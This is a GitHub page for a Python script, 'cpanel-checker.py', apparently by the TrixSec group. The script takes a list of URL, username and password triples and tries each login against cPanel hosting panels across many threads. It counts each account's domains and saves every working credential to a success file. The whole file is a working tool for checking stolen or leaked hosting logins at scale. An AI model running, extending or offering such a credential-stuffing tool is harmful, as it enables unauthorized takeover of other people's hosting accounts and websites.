-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcpanel-checker.py
148 lines (123 loc) · 5.44 KB
/
cpanel-checker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
import requests
import sys
import json
import time
import argparse
import threading
from concurrent.futures import ThreadPoolExecutor
from colorama import init, Fore, Style
from termcolor import colored
import os
requests.urllib3.disable_warnings()
init(autoreset=True)
pause_event = threading.Event()
pause_event.set()
def check_update():
try:
response = requests.get("https://raw.githubusercontent.com/TrixSec/cpanel-checker/main/VERSION")
response.raise_for_status()
latest_version = response.text.strip()
if CPANEL_CHECKER_VERSION != latest_version:
print(colored(f"[•] New version available: {latest_version}. Updating...", 'yellow'))
os.system('git reset --hard HEAD')
os.system('git pull')
with open('VERSION', 'w') as version_file:
version_file.write(latest_version)
print(colored("[•] Update completed. Please rerun cpanel-checker.py.", 'green'))
exit()
print(colored(f"[•] You are using the latest version: {latest_version}.", 'green'))
except requests.RequestException as e:
print(colored(f"[×] Error fetching the latest version: {e}. Please check your internet connection.", 'red'))
CPANEL_CHECKER_VERSION = "1.0"
AUTHOR = "Trix Cyrus"
COPYRIGHT = "Copyright © 2024 Trixsec Org"
def print_banner():
banner = r"""
░█▀▀░█▀█░█▀█░█▀█░█▀▀░█░░░░░█▀▀░█░█░█▀▀░█▀▀░█░█░█▀▀░█▀▄
░█░░░█▀▀░█▀█░█░█░█▀▀░█░░░░░█░░░█▀█░█▀▀░█░░░█▀▄░█▀▀░█▀▄
░▀▀▀░▀░░░▀░▀░▀░▀░▀▀▀░▀▀▀░░░▀▀▀░▀░▀░▀▀▀░▀▀▀░▀░▀░▀▀▀░▀░▀
"""
print(colored(banner, 'cyan'))
print(colored(f"cPanel Checker Version: {CPANEL_CHECKER_VERSION}", 'yellow'))
print(colored(f"Made by {AUTHOR}", 'yellow'))
print(colored(COPYRIGHT, 'yellow'))
def get_domain_count(url, username, password, output_file):
"""Fetches domain count for a given cPanel."""
while not pause_event.is_set():
time.sleep(0.1)
data_user_pass = {
"user": username,
"pass": password
}
s = requests.Session()
try:
resp = s.post(f"{url}/login/?login_only=1", data=data_user_pass, timeout=20, allow_redirects=True)
login_resp = json.loads(resp.text)
cpsess_token = login_resp["security_token"][7:]
resp = s.post(
f"{url}/cpsess{cpsess_token}/execute/DomainInfo/domains_data",
data={"return_https_redirect_status": "1"}
)
domains_data = json.loads(resp.text)
total_domain = 1
if domains_data["status"] == 1:
total_domain += len(domains_data["data"].get("sub_domains", []))
total_domain += len(domains_data["data"].get("addon_domains", []))
print(Fore.GREEN + f"[SUCCESS LOGIN] --> {url}")
with open(output_file, "a", encoding="utf-8") as success_log:
success_log.write(f"{url}|{username}|{password}\n")
except Exception:
print(Fore.RED + f"[FAILED LOGIN] --> {url}")
finally:
s.close()
time.sleep(0.05)
def handle_ctrl_c(signum, frame):
"""Handle CTRL+C and pause all threads."""
global pause_event
pause_event.clear()
print(Fore.YELLOW + "\nCTRL+C detected!")
while True:
choice = input(Fore.CYAN + Style.BRIGHT + "[e]xit or [r]esume? ").strip().lower()
if choice == 'e':
print(Fore.RED + "Exiting...")
sys.exit(0)
elif choice == 'r':
print(Fore.GREEN + "Resuming...")
pause_event.set()
break
else:
print(Fore.YELLOW + "Invalid choice. Please enter 'e' or 'r'.")
def main():
"""Main function."""
parser = argparse.ArgumentParser(
description="cPanel Checker",
formatter_class=argparse.ArgumentDefaultsHelpFormatter
)
parser.add_argument("--file", required=True, help="Input file containing cPanel list.")
parser.add_argument("-o", default=None, help="Output file to save results.")
parser.add_argument("--threads", type=int, default=10, help="Number of threads to use.")
parser.add_argument("--check-updates", action="store_true", help="Check for updates.")
args = parser.parse_args()
if args.check_updates:
check_update()
sys.exit(0)
input_file = args.file
output_file = args.o or f"{input_file}_success.txt"
try:
with open(input_file, 'r', encoding="utf-8") as f:
urls = [line.strip().split('|') for line in f if '|' in line]
except FileNotFoundError:
print(Fore.RED + f"Error: File '{input_file}' not found.")
sys.exit(1)
print_banner()
import signal
signal.signal(signal.SIGINT, handle_ctrl_c)
with ThreadPoolExecutor(max_workers=args.threads) as executor:
for url_info in urls:
if len(url_info) == 3:
url, username, password = url_info
executor.submit(get_domain_count, url, username, password, output_file)
else:
print(Fore.YELLOW + f"Invalid format in input file: {url_info}")
if __name__ == "__main__":
main()